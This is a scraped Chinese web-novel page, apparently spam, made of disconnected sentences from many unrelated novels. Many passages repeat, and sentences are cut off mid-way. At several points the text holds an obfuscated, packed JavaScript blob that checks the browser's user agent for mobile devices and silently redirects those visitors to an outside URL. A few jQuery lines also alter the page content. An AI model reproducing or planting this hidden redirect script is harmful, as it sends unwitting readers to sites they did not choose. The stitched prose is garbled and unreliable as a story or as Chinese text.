“对…对对不起……”落桔梗被李轩哲提醒了之后她脸上原本消下去的红在这一刻又开始蔓延了上来。 这不貌似是被对方连续2次卡位弄到恼羞成怒亦或是秉承了切尔西一贯不放弃的精神阿扎尔还真就上去和维迪奇拼了一把不过很遗憾2人对抗的结果是阿扎尔瞬间就把维迪奇死死的卡在了身后丝毫动惮不得。 此时陆天武一席话所有陆家男儿看着陆离很多人听到陆天武的话都投来鄙夷目光。 不过雪婆婆看着千雪还没有来得及收起的丹药还是决定让灵儿去碰碰运气。 就慕云今年的表现破记录如喝水要是上赛季结束的时候全世界大多数球迷还质疑慕云能否进世界中锋前三的话就本赛季而言慕云认自己是中锋位置第二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小的是我家公子的书童。”叶绯霜道,“林相公只需看我的本事就行了,我家公子比我只好不差的。” 那些儒生就算是想要对付他,也要过一段时间,等着这次风声过去再说。 他以孙伍长送件墨迹磨蹭,对顾客服务态度差为由,要求孙伍长主动离职。 老黑一行人简直就是无语了,莫名其妙的被人救了,又莫名其妙的被人收了钱,然后想要追随一个莫名其妙的人,却又被以莫名其妙的过夜保护费给莫名其妙地拒绝了。让人头大。 感受到那锋刃之上所蕴含的力量,艾斯也是立刻感受到了白胡子的心意。 只是他觉得,自己受伤了,对方也受伤,这也十分公平,没有恢复的必要。 通过询问,戴东杰了解到,李远南有一个固定的习惯,那就是午饭前泡上一杯咖啡,午饭后到宿舍休息。 随着时间流逝,这种声音越来越弱,越来越弱,最后消失于这天地间。 原本她便不信宿舍里那些人的话,如今见李妙把东西全还给那人了,也信了。见她气得这样,便想上来劝两句。 而且到了酒店,说好的庆功宴,韩涛和陈宇也明智地选择了不当电灯泡,并且以此邀功,再次从乔安那里“讹”了一顿豪华大餐,弥补了在节目组的庆功宴上没有吃尽兴的遗憾。 周围所有人齐齐抬头望向空中的大钟,钟声一停。其上突然显现出一个巨大的投影屏幕。屏幕上是一幅地图并带有旁白。 王德用和赵允让也是没有办法,连保州兵变都没有办法奈何苗家庄,无法干掉赵信,他们就只能够从长计议了,他们暂时也没有办法,对保州再下手。 反正,张逸打仗和发财两不误,将部队整理得井井有条,用佣兵的那一套进行精兵建设,官兵士气高昂,斗志汹汹,各种伤亡善后处理得 当,气象跟一般国府军迥然不同。 “冰紫萱,赤藤国是时候换主了,赫连宗也应该需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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花云说这些的时候,脸上很不自然,毕竟他心里知道花梨帮助他的地方已经很多。 马被稳住,马上人在短暂的惊诧之后,一条黑亮的马鞭立即落了下来。 总之,目前的情况很严峻,可以用四面楚歌来形容,而我身边的帮手,除了白柔和张星宇,就是黑子了。 只见那人背对着他们,面朝着地洞口。身子微微颤抖,不断有话儿从他口中冒出,只是声音太大,根本听不见。 初云郡主深知国公太夫人的过去,刺起国公太夫人来,太方便了。 早就已经扫描过房间的袁飞,来到阳台之上,暖风拂过脸颊,有种说不出的惬意。 同样的情形还发生在了寒霜帝国的郑天龙身边,黄沙和黄泉则是交给了宋伊人。 紧接着仅仅过了大概十秒,一辆非常高大上的红旗车便出现在了面前。 他们知不知道白发中年男人可是一位厉害的大师,他曾经就受过大师不少的指点躲开不少祸事。 安振华看她这副死猪不怕开水烫的架势,怒火上来,想骂她,但是看着傅家人的脸色,又硬生生把话头收了回去。 只见到此刻的叶初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247350|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏开口道,趁着空隙时间,她拿出了手机,仅仅是一秒就扫过了苏凡说的话。 那些冰凌,就是胎影身上的刺,峭壁之下根本看不到底,全是一片漆黑的深渊。 蓉蓉是真被惊到了,陆绮云和魏俞差不多猜到了,只是秦广王这性子与传说中似乎差了十万八千里。 净幽花四周三丈范围,没有其他灵草生长,它在孤零零地生长在角落,似乎就如它的名字一般,净默幽幽。 果然,陈寿的猜测没错,主墓室摸尸任务必须要触摸这一具尸体才行,系统的声音刚刚落下,他的背包里就多出了一根棺材钉,顿时感到背后的包里沉甸了许多。 眼见殷羽儿似乎已经被愤怒占据了理智,杨易也不敢多说话,他此时没说一句恐怕就会让殷羽儿的怒火更加重上几分。 此时鸿蒙万界战场一方的五位半步至强者见极圣殿法修至强者被人一招重创,微微一愣之后,当他们醒悟过来后,不由在长长舒了一口气的同时,高声欢呼了起来。 第一卷 第226章 为她谋划 这会儿外面还是很冷的,早上的时候还下了一场雪,也不知道,今年帝都的雪怎么这么多。 “当然,做报告的人是我信得过的人,不可能被动手脚。这点南风很肯定。 那是下午的光景,路灯还没有亮起来,但是单元门口的灯却已经被点亮了。 “噗。 无数的网民都愤怒了,若是在往常,爆出秦璃怀孕的这件事,**肯定不会偏向秦璃。这年头,未婚先孕放在哪里都不好看。 晚自习放学的时候,刘昕就迫不及待的喊着我们往宿舍赶,看到杆子和吴杰的时候,刘昕客气的邀请了下,不过两人都拒绝了。 她本来以为司机会送她去别墅或者是公寓,没想到竟然是酒店。她有些疑惑,都这么晚了,温棠不回家,带自己去酒店做什么? 说实话,我现在特想躺着,啥也不干,但刘千手说的对,我们处在险地,抓住机会抓紧时机,才能有活路。 如果没有欧阳忆枫,他可能已经冻死在冰冷的湖里,也不会一夕之间长大。 她也想过去杀了欧阳忆枫,或者把欧阳忆枫就是鬼面罗刹的事说出去,让他成为所有人的公敌。 直到瘟疫法神得知,世间原来还有如此的种族,这才施展通天的手段,复原该族。 前几天,南玄市官方为了庆祝获得世博会的举办权,顺带给即将展开的大运会做预热,便和本土各大学院一起,联合组织了一场友谊马拉松比赛。 这样好的机会,不是谁都有的,洪明伟是遇到贵人了,这才有了这个机会。 也不知道是不是碰巧了,对联刚贴上,屋里正在犯恶心的巧娘就觉得胸口的烦闷气息好像被直接冲散了似的,也不恶心了。 别说他们那满是沙漠的砂隐村,就算是云隐、岩隐也无法和木叶比,火之国肥沃的土地没有人不想据为己有。 因为昨天处理了财务部的人,所以剩下的人都比较老实,因为她们也是害怕吃花生米的,什么歪心思都收了起 来。 一些自诩拥有内部资料的玩家第一时间发布不同的视屏想要博取流量。 忙完了这件事陈清欢觉得自己心里格外的舒坦就像有什么东西冲破了封印一般。她甚至有一种剥开乌云见月光的感觉神清气爽了起来。 等下班后王酒枝就问了刘成的三个儿子一般是在那混拿到地址后就回家了等到第二天他单枪匹马就找上门去了。 两人叫住周奇的意思是害怕铁骨门背锅希望周奇能主动站出来承担责任。 与此同时叶辉、紫燕雕、老酒鬼等人也靠近南宫平的分身也招出自己空间戒指中的美酒美食洒向对方的那些上位神面前。 这件事情他大概有所耳闻但并不清楚里面的细节。似乎是和一件至宝的出世有关系。 魏信兴对吴添倒不是太在意xiao梅虽说是吴添是他朋友但从年纪上他却不信心里只道吴添是这个xiao的啥亲戚只是不好说出来而已。 生死之间韩世忠向后一倒。避开了致命一刀可是头上的盔甲却是被削掉了大块。 青衣人哆嗦了一下他忽然感觉到一股浓重的杀气向自己袭来压迫的他几乎喘不上气来一阵寒意顿时从脚底升起直达全身青衣人激灵灵打了个冷颤嘴唇张了张竟然说不出话来。 运输舰内的白域族人各个噤若寒蝉低头忙着自己手上的事物谁也不敢多看怒气勃发的代理族长一眼。这个时候打扰族长无异于是自找倒霉。 原本这种事情兰斯只需要花点钱就能购买到大量的采矿奴隶。可偏偏硫磺谷领地对外交通十分不便想要去多足堡垒买奴隶倒是可以但是怎么把奴隶转移过来还是一个巨大的问题。 “哎不想了等到了直接去找浩明老儿就行了。”既然许多事情不是自己单方面能够搞定的南宫平也就放开。 “你继续去监视原罪城一旦江维出来立即向我汇报!”六易对着通体雪白的白虎说道。 雪脸sè微一缓幸好这木疙瘩没说出太出格的话。万一真要把郭爱民得罪死而他羞恼成怒鱼死网破的话那就弄巧反拙。 我只顾着发呆竟然忘记吃了马上张开嘴吃下去。油滴了下来景容替我将它擦去。 舒凝抿唇笑了笑这穆家的人还真是性格南辕北撤穆厉延冷若寒冰穆娉婷热情似火。 男人和男鬼果然不同的男人的气息是热的喷在皮肤上就好似在点燃你体内的火。而男鬼根本就没有气息所以如果是以前的景容亲吻我应该不至于这样失态。 不过我从来不是那种别人把我捏成一团摔在地上我还会笑笑说摔得真好看的怂包子。 歌舞是很久之后才表演的以前汉人世家里头都会养上许多出众的舞姬等到客人来的时候就会让她们出来助兴。 对雒妃难得这样体贴人的举止秦寿显然诧异地挑了挑眉不过他也没说什么 在**的中千世界中月光如水洒在世界之中如银沙朦胧在蔚蓝的星空间浩渺的银河无声的流淌倾泻到遥远的天际神秘而宁静。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 来。 一些自诩拥有内部资料的玩家,第一时间发布不同的视屏,想要博取流量。 忙完了这件事,陈清欢觉得自己心里格外的舒坦,就像有什么东西冲破了封印一般。她甚至有一种剥开乌云见月光的感觉,神清气爽了起来。 等下班后,王酒枝就问了刘成的三个儿子一般是在那混,拿到地址后就回家了,等到第二天,他单枪匹马就找上门去了。 两人叫住周奇的意思是害怕铁骨门背锅,希望周奇能主动站出来承担责任。 与此同时,叶辉、紫燕雕、老酒鬼等人也靠近南宫平的分身,也招出自己空间戒指中的美酒美食洒向对方的那些上位神面前。 这件事情他大概有所耳闻,但并不清楚里面的细节。似乎是和一件至宝的出世有关系。 魏信兴对吴添倒不是太在意,xiao梅虽说是吴添是他朋友,但从年纪上,他却不信,心里只道吴添是这个xiao的啥亲戚,只是不好说出来而已。 生死之间,韩世忠向后一倒。避开了致命一刀,可是头上的盔甲却是被削掉了大块。 青衣人哆嗦了一下,他忽然感觉到一股浓重的杀气向自己袭来,压迫的他几乎喘不上气来,一阵寒意顿时从脚底升起直达全身,青衣人激灵灵打了个冷颤,嘴唇张了张,竟然说不出话来。 运输舰内的白域族人各个噤若寒蝉,低头忙着自己手上的事物,谁也不敢多看怒气勃发的代理族长一眼。这个时候打扰族长,无异于是自找倒霉。 原本这种事情,兰斯只需要花点钱,就能购买到大量的采矿奴隶。可偏偏硫磺谷领地对外交通十分不便,想要去多足堡垒买奴隶倒是可以,但是怎么把奴隶转移过来,还是一个巨大的问题。 “哎,不想了,等到了直接去找浩明老儿就行了。”既然许多事情不是自己单方面能够搞定的,南宫平也就放开。 “你继续去监视原罪城,一旦江维出来,立即向我汇报!”六易对着通体雪白的白虎说道。 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原本这种事情,兰斯只需要花点钱,就能购买到大量的采矿奴隶。可偏偏硫磺谷领地对外交通十分不便,想要去多足堡垒买奴隶倒是可以,但是怎么把奴隶转移过来,还是一个巨大的问题。 “哎,不想了,等到了直接去找浩明老儿就行了。”既然许多事情不是自己单方面能够搞定的,南宫平也就放开。 “你继续去监视原罪城,一旦江维出来,立即向我汇报!”六易对着通体雪白的白虎说道。 雪脸sè微一缓,幸好这木疙瘩没说出太出格的话。万一真要把郭爱民得罪死,而他羞恼成怒鱼死网破的话,那就弄巧反拙。 我只顾着发呆竟然忘记吃了,马上张开嘴吃下去。油滴了下来,景容替我将它擦去。 舒凝抿唇笑了笑,这穆家的人还真是性格南辕北撤,穆厉延冷若寒冰,穆娉婷热情似火。 男人和男鬼果然不同的,男人的气息是热的,喷在皮肤上就好似在点燃你体内的火。而男鬼根本就没有气息,所以如果是以前的景容亲吻,我应该不至于这样失态。 不过,我从来不是那种别人把我捏成一团摔在地上,我还会笑笑说摔得真好看的怂包子。 歌舞是很久之后才表演的,以前汉人世家里头都会养上许多出众的舞姬,等到客人来的时候就会让她们出来助兴。 对雒妃难得这样体贴人的举止,秦寿显然诧异地挑了挑眉,不过他也没说什么,侧头从她手边咬来吃了便是。 在**的中千世界中,月光如水,洒在世界之中如银沙朦胧,在蔚蓝的星空间,浩渺的银河无声的流淌,倾泻到遥远的天际,神秘而宁静。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 来。 一些自诩拥有内部资料的玩家,第一时间发布不同的视屏,想要博取流量。 忙完了这件事,陈清欢觉得自己心里格外的舒坦,就像有什么东西冲破了封印一般。她甚至有一种剥开乌云见月光的感觉,神清气爽了起来。 等下班后,王酒枝就问了刘成的三个儿子一般是在那混,拿到地址后就回家了,等到第二天,他单枪匹马就找上门去了。 两人叫住周奇的意思是害怕铁骨门背锅,希望周奇能主动站出来承担责任。 与此同时,叶辉、紫燕雕、老酒鬼等人也靠近南宫平的分身,也招出自己空间戒指中的美酒美食洒向对方的那些上位神面前。 这件事情他大概有所耳闻,但并不清楚里面的细节。似乎是和一件至宝的出世有关系。 魏信兴对吴添倒不是太在意,xiao梅虽说是吴添是他朋友,但从年纪上,他却不信,心里只道吴添是这个xiao的啥亲戚,只是不好说出来而已。 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与此同时,叶辉、紫燕雕、老酒鬼等人也靠近南宫平的分身,也招出自己空间戒指中的美酒美食洒向对方的那些上位神面前。 这件事情他大概有所耳闻,但并不清楚里面的细节。似乎是和一件至宝的出世有关系。 魏信兴对吴添倒不是太在意,xiao梅虽说是吴添是他朋友,但从年纪上,他却不信,心里只道吴添是这个xiao的啥亲戚,只是不好说出来而已。 生死之间,韩世忠向后一倒。避开了致命一刀,可是头上的盔甲却是被削掉了大块。 青衣人哆嗦了一下,他忽然感觉到一股浓重的杀气向自己袭来,压迫的他几乎喘不上气来,一阵寒意顿时从脚底升起直达全身,青衣人激灵灵打了个冷颤,嘴唇张了张,竟然说不出话来。 运输舰内的白域族人各个噤若寒蝉,低头忙着自己手上的事物,谁也不敢多看怒气勃发的代理族长一眼。这个时候打扰族长,无异于是自找倒霉。 原本这种事情,兰斯只需要花点钱,就能购买到大量的采矿奴隶。可偏偏硫磺谷领地对外交通十分不便,想要去多足堡垒买奴隶倒是可以,但是怎么把奴隶转移过来,还是一个巨大的问题。 “哎,不想了,等到了直接去找浩明老儿就行了。既然许多事情不是自己单方面能够搞定的,南宫平也就放开。 “你继续去监视原罪城,一旦江维出来,立即向我汇报!六易对着通体雪白的白虎说道。 雪脸sè微一缓,幸好这木疙瘩没说出太出格的话。万一真要把郭爱民得罪死,而他羞恼成怒鱼死网破的话,那就弄巧反拙。 我只顾着发呆竟然忘记吃了,马上张开嘴吃下去。油滴了下来,景容替我将它擦去。 舒凝抿唇笑了笑,这穆家的人还真是性格南辕北撤,穆厉延冷若寒冰,穆娉婷热情似火。 男人和男鬼果然不同的,男人的气息是热的,喷在皮肤上就好似在点燃你体内的火。而男鬼根本就没有气息,所以如果是以前的景容亲吻,我应该不至于这样失态。 不过,我从来不是那种别人把我捏成一团摔在地上,我还会笑笑说摔得真好看的怂包子。 歌舞是很久之后才表演的,以前汉人世家里头都会养上许多出众的舞姬,等到客人来的时候就会让她们出来助兴。 对雒妃难得这样体贴人的举止,秦寿显然诧异地挑了挑眉,不过他也没说什么,侧头从她手边咬来吃了便是。 在**的中千世界中,月光如水,洒在世界之中如银沙朦胧,在蔚蓝的星空间,浩渺的银河无声的流淌,倾泻到遥远的天际,神秘而宁静。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 来。 一些自诩拥有内部资料的玩家,第一时间发布不同的视屏,想要博取流量。 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第一卷 第227章 私相授受 早起烟霜白,初寒鸟雀愁。 叶绯霜这段时间过得安稳又宁静。 隔几天就偷偷去书院看看宁衡。就是运气不太好,每次都能撞上陈宴。 男人只感觉到身上火辣辣的地方瞬间变得清凉了起来,很是舒服。 “陈耿?”贺郑面对着龙战向身后的陈耿问道,声音并不大,不过身为高阶破界者的陈耿在两人距离不到一米的情况下,自然不会听不见。 夏擎枫想必是甚为后悔当时的决定,说到此处神色黯然地收住了话头。 让叶天喜闻乐见的是,此刻,意识到又是一次在自己面前露脸的机会,死士们都很兴奋。 却道这些人来势汹汹,究竟是何人?这青年冷峻着面孔,一副强凶霸道的模样,正是张天阡。 叶枫看着宁道奇,眼中精光一闪,刚才宁道奇竟是以内劲鼓动衣袍,荡漾起波浪形的气劲卸开他这一剑。这种手段真是精妙无双,闻所未闻。 “真是不好意思,我那朋友就这坏毛病,麻烦你们了。”徐佐言对着那两个服务员客气的道。 子夜时分,陆尹琮在那冰屋之中给惜芷疗伤,乔洛拙因为不能抵御寒冷,早些时日就不进来了。尹琮右手划破,内力传送时,手便胀痛不已。而他尚未全部恢复内力,此时给惜芷的,只是一缕缕微弱的真气。 万思思的爹?!不就是国服第一商号万汇钱庄的创立者,现实华夏第一财团万汇实业的大BOSS万通天吗? 把宝物还给她,再把人放回去,说几句好话,这事就当摆平了,真以为他傻吗? 她不断地做出各种闪躲的动作,希望可以将身后这个缠上来的家伙甩开了,不管如何,都不希望身后的这个家伙继续这样追踪上来了,这可不是黑尾凤凰想要的结果。 叶空看向了背后,那个墙壁上的画面正在消失,不过,他若想要返回‘彼岸’,只要找到一根‘阿里阿德涅之线’,将其斩断就可以了。 绫濑这次给桐乃出的主意与伊乐给英梨梨出的主意机会一模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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架不住韩艾的热情,盛临云和许山高坐在韩艾庭院的石桌上稍作休息。 “哈!两位公子回来了,结果如何?”守卫认出了盛临云和许山高,只不过现在的态度和早上截然不同。 所谓是意乱情迷,神魂颠倒……他明明看准了千载难逢之良机,疯狂杀向了陈霆,本以为万无一失,然而结果却是……他甚至不知道自己怎么忽然就起飞了。 “关掉车灯!全体上车,停车等命!”师长向着身后的救援部队大喊着。 怎么前任方丈在世时,就没出过什么逆徒,到你这老东西手里,左一个孽障右一个煞星。 整个龙口川太大太平坦了,这支白匈奴骑兵从正在混战中的大军左翼绕了一个大圈子,竟是没有遇到什么大的阻拦,径直向唐军大营杀了过去。 以永乐皇帝北征为例,当年与北元作战时神机营的作用只是扰乱冲锋的蒙古骑兵,而与蒙古骑兵对决的还是以三千军为首的明军骑兵,因此脱欢帖木儿等人根本就不认为大明的火器部队能与精锐的关西骑兵相抗衡。 可是,与其他武者跳跃不同的地方就是,魁梧壮汉的跳跃幅度实在是太大了。 “哪里哪里,这些都是我们队长和别人交谈的时候,我在旁边听说的。”听到自己被夸奖了,年轻的护卫有些不好意思的挠了挠头,只是因为不注意之下箱子砸到了自己的脚,难免一阵手忙脚乱 。 身体能够全部化成元素这已经是半身状态的元素之体以现在自己的水平如果没有能够直接将对方的精神力抹除或者是能够伤害到这些分散的元素的方式自己根本没办法杀掉方正。 “唉唉!你怎么又讲到那事上嘛?”织娘娘不愿听这些就赶紧出言拦住。 刚才开口不过是因为情谊但是现在这世界有权有钱的人才是老大。如果可以的话还是要找一个靠山安安稳稳的过一辈子享享福才是最关键的。 这时明月从丁零的心房空间中出来接着白泽也从她的心房空间中出来。 祝欢虽是英武但毕竟拖着条断腿其剑锋刚刚刺到大上造袍边就被两延尉用剑拨开并将祝欢踢翻在地。当门外武士抢进时祝欢早已动弹不得被两延尉按在地下。 刻眼功跑复面格刻眼功跑复面格副将等秦稷一走就结果指挥权。他想的是:我这第二道防线比第一道好得多我不会就轻易走的。 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不错这个蜘蛛侠算是说到点子上去了自己的确会根据能力强弱开发不同型号的机动装置 由于土灵遁阵法大放异彩任瑶重新恢复了好胜心因此根本不给秦阳说话的机会要秦阳和她一起去找阵旗然后想办法破坏掉阵旗这就等于破掉整个禁制的一个阵门那他们就可以轻易脱困。 北宫是修士居住中心这里有很多会所供修士们探讨修行上的难题这里也是修真界为数不多道术氛围最好的地方。 第一卷 第229章 叫声姐夫 独孤衍这次没有动,一直静静的看着她,看着她为他系上冠冕的发带,看着她又为他展平衣衫,愈发动容不已。 叶孤元弘的心像被针扎了一样,还不是一根针,是一万根。苏若水看他那表情离哭不远了,感觉特别好笑,于是她便笑了。 我没动,而是对陈诺说:“陈诺,你去杀吧,我现在升不了级的。”陈诺也不推辞,走过去,手中一片白光闪过。。那两个躺在地上的人化作了星星点点。随即飘出了7个进化之种,融进了陈诺的身体。 “晕,这家伙怎么这么较真呢?”郎刑天有点后悔,找个这么二的家伙,似乎不是来帮忙的,而是来坏事的。 源袖此时也遥望着姜思静,他看着她的眼睛,从她的眼睛里,他看到了自己。 “试试我泡的茶!”一杯茶推到了墨嚁的面前。墨嚁定下心神望着桌上的茶杯,端起它慢慢的饮下。 “我要找莫紫黛,莫紫黛人呢?”舒依依只是例行检查,而莫紫黛还好没有走多远,还能够听到下面的房间还有人在说话。 刚才大家只顾着样魔物,忽略了空中的情况,现在发现方昊天和火魔将已经不知所踪。 景皓瑜看到德妃这么做,简直就是被吓倒了!这德妃到底是怎么一回事,无事献殷勤,非奸即盗!看来有一个难题正在为难着景皓瑜了。 捆仙索绑住的灵葵挣扎着想要下床,却弄得铁链一阵叮叮当当的响声。 **硕走后,我又回了一趟那房子,主要是去厨房洗手间看看,那些地方因为有通向屋外的管道,为了以防万一,我用符把抽油烟机和马桶封死,然后把房间简单收拾了一下。 忽而,“砰”的一声巨响,池晚还没反应过来,封以珩眼神骤变,急打方向盘和踩刹车,停是停下了,半个车头转到了左侧车道上,右车头撞在了前方车辆的车尾。 没有理会母豹姚子,劈风轻轻地将逍遥子扶起,伸出手来,掌心对着逍遥子的百会,轻轻地闭上双眼,将体内的灵炁调出,试做向逍遥子的百会体内灌去。 “你刚不还装死吗!现在精神啦!”云墨雨没好气道,脸上却意外的浮 现出两朵红晕。 嘴里虽然这么说陈子豪还是按了下电话然后对电话机说道嘉欣你来我办公室一趟。 这些野狼像是得了令的死士不但不惧怕它们的克星——火把还像吃了兴奋似的嗷叫着朝想对它们动手的东莲国士兵直接扑了上去。 玉林山的五行八卦便是他都废了很大的劲才想出了破解之法。 这块翡翠原石绝对不像云韵那块翡翠原石那么光彩夺目耀眼生辉甚至可以说这块翡翠原石和很多翡翠来比它实在平常得紧。 “今天是个大喜的日子!这个日子寡人要让你们永远记住!”见逍遥子随龙乐嫣儿一道走到了首府大臣的右侧按君臣之礼站定之后慧智聪抬眼扫了一班大臣一眼。 “师父说的是可是武神空间里传来了消息那夜辰斩杀了神使!”付云璐道。 见甘凉并没有说出自己在京城的糗事欧阳南辰不禁长长地出了一口气。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258001|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我要用拳头打烂你的脑袋。”林克顿露出残忍和狰狞的笑容身体稍微往前倾斜双膝微微弯曲。 看着朝自己望过来的李瑶叶枫朝她招了招手随后用唇语对着李瑶说道他相信李瑶看得懂。 “哇王哥我没眼花吧?”看到甘凉他们推门走进来年轻警察立马不淡定了使劲地揉着自己的眼睛。 “姓甘的你出手这么狠未免也太不讲道理了吧?”检查完孟宇的伤势后徐法立咬牙切齿地说道。 现在外面妖魔横行肆无忌惮也只有把他们带在身边才是最安全的了。 这好几次试探罗金洋并没有发现什么异常或者是什么人心中才放下心来直接奔向了黑蛟堂口。 围绕着一些独特稀少且极其富庶的地盘 这样安慰自己不是我单相思只是我们无缘多少有点阿Q不过很好使可以让我把注意力转移到别的地方让自己忙一些渐渐也参与了一些农政和经济方面的事务。 “是谁?”陈飞冷冷喝道以他的眼力竟然无法捕捉到这道人影的所在之处。 他的声音浅淡薄冷不咸不淡的语气似乎不过是见了一个认识的人就顺便过来打个招呼。 几乎同一个时辰英雄庄外迎来了一个神秘的蒙面客。这人只对庄内管家交待了几句就见那管家脸色一变笑呵呵地将来人迎进了庄内。 宇信此言一出灵帝也大感诧异。都说这武将在战场上干的就是**抢粮的活儿从战争中活着走下来的人没有一个心慈手软的宇信职为骠骑大将军他的爱好更应该偏向于这种类型才对。 第一卷 第230章 我成亲了 此时大坑的战斗已经白热化守护者那泛着红芒的**在龙猿身上留下一道道伤痕而龙猿的攻击却无法发挥太大作用大部分攻击都被守护者闪过即使无法闪避的攻击落在机甲上似乎也造成不了太多伤害。 这一刻温蕴寒的心中没有了对四大古老王族的忌惮 看他什么话都没有说霍晓冉有些泄气霍晓冉她以前做错了很多事情可是他哥从来都没有气到这样的地步她不知道她哥为什么要突然发这么大的火。 其实钟正泽所求的很简单不过是希望宋绯美言几句让钟时暮讲收走的权益还给他。 而许晨居然敢空手跳进来从这一点看他就显得有男子气概的多。 被反将一军之后季名扬脸上的表情并不是很好看这其实就是一个玩笑按照平时的季名扬性格他肯定是顺着韩子高的话接着嘻嘻哈哈可是今天的他不一样他异常严肃的看了眼甚至可以说是跟韩子高翻了脸。 升堂这一天五皇子来了他倒是不敢面对有过不到场的想法但显然不现实。 姜璐内心自然是杂味俱全内心久久难以平静就像是突然失了神。 虽然自己的刀势离重如山岳差远了不过这一刀算是成功了不知什么时候能达到老爹那般地步? 安素雅闻言狡黠一笑“那么吃痛?这样可不行还是让姐姐帮你适应一下。”说着就要抬手掐司音的脸。 确认摸到的是腰后避免摸到不该摸的地方慕时雨在旁边摸到了他的手。 不过苏安也清楚这个数量只是来自于推销员的渠道的自我反馈。 “不用有什么电话里说吧不说我就挂断了。”叶离哼了一声她又有点困了看了这些报纸觉得又累又困。 当时自己因为吸收完剩余两个区域池水内的药力和微量元素导致身体强度再次提升精力旺盛。 陆时深像一头饿狠了的恶狼目光越发幽深灼热得似乎要在林灼灼的身上烧出个洞来。 “好了。我的问题是你们的变异我没见过。能否说下你 们的变异属性,我好死个明白。 卧底东星,趁机获得他们的犯罪证据,最后是要把东星给瓦解,哪怕陈晋是知道剧情走向的,想要把这么大的一个社团给搞定,这可不是一个简单的事情。 玩家们倒还好,可既然不朽村的老少都眼巴巴凑过来了,叶南也只能看向饭团,饭团二话不说又是几张大桌子架上,一道又一道的美食都不带重样地送上餐桌。 等到瞧见青龙的滚烫热息并没有像昨天那样被海军大将一拳轰爆,化作天灾般的火焰流星雨之后,紧张的崔泽这才微微放松下来。 云雪走后,王氏便赶紧回了自己的院子,她不太放心,便打算亲自叮嘱那婆子,便让王嬷嬷去将人叫来。 不过冥河不在意,只要唐僧同意,其他人就算不满,也不敢明着下手,否则会引起唐僧的怀疑。 说全网首发无弹窗免费阅读caixs.com?(请来才小 说 看最新章节 完整章节) “谁说的?”突然,一声不算威严的声音突然从大殿外边传来,所有人的目光都像门外看去。 此地不易久留,看准方向顺着爬梯向上爬去。过了不到20米的距离终于出了水面。 上官云不愿打草惊蛇,便与岳飞都化作董复的子侄,三人一道往城内而来。众人见面后自然寒暄一番,上官云也将金万城近十年的阴谋诡计为众人分说明白,又说了与完颜宗望之约。 无心道人冷哼一声,纵身而上,手上挥出,冰霜漫出,瞬间冻结了一大片鬼魂。成林挺等人齐齐出手,纵身而上。不一会,便来到妖塔第二层。第二层上妖魔更多,齐齐冲来。刀剑戟枪,齐齐捅来。 “不是吧,亲爱的,怎么,昨晚是不是因为我……没有陪你……”,菲菲说这话也是摸石头过河,不过,她却摸对了。因为,她看到这为行长的表情发生了变化,而是一种兴奋的表情。 李知尘捏着魔眼,又喝道:“这片黑森林的尽头!”只见魔眼睁开,眼珠望向天上,转了转,又闭了上去。 将擂台布置好了之后,又有一块碧绿的石碑出现,晶莹剔透,上面显示着一个个准备参加比赛的名字,而冥河的名字显然也在上面。 而下一刻,眼前一黑,却是觉得时空颠倒,身上的气息开始下降,似乎冥冥中一股伟大的力量压在了他的身上,将他的三千大道本源封印了起来,就连ròu身之力也被压制了九成九。 邹氏声音高了起来,婆子垂下了眼皮,邹氏连声抽泣着,又伏在床上大哭起来。 “算了算了,今天状态不对,改天再和你好好打一场。”徐政先冲曾毅赶紧摇了摇手,心知不是他的对手,但是为了面子还是给自己找了个借口。 最过份的是看热闹也就算了。这玩意儿居然一点忙都不帮,只会在旁边絮叨评价。这才是让人最最不爽的。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 们的变异属性,我好死个明白。 卧底东星,趁机获得他们的犯罪证据,最后是要把东星给瓦解,哪怕陈晋是知道剧情走向的,想要把这么大的一个社团给搞定,这可不是一个简单的事情。 玩家们倒还好,可既然不朽村的老少都眼巴巴凑过来了,叶南也只能看向饭团,饭团二话不说又是几张大桌子架上,一道又一道的美食都不带重样地送上餐桌。 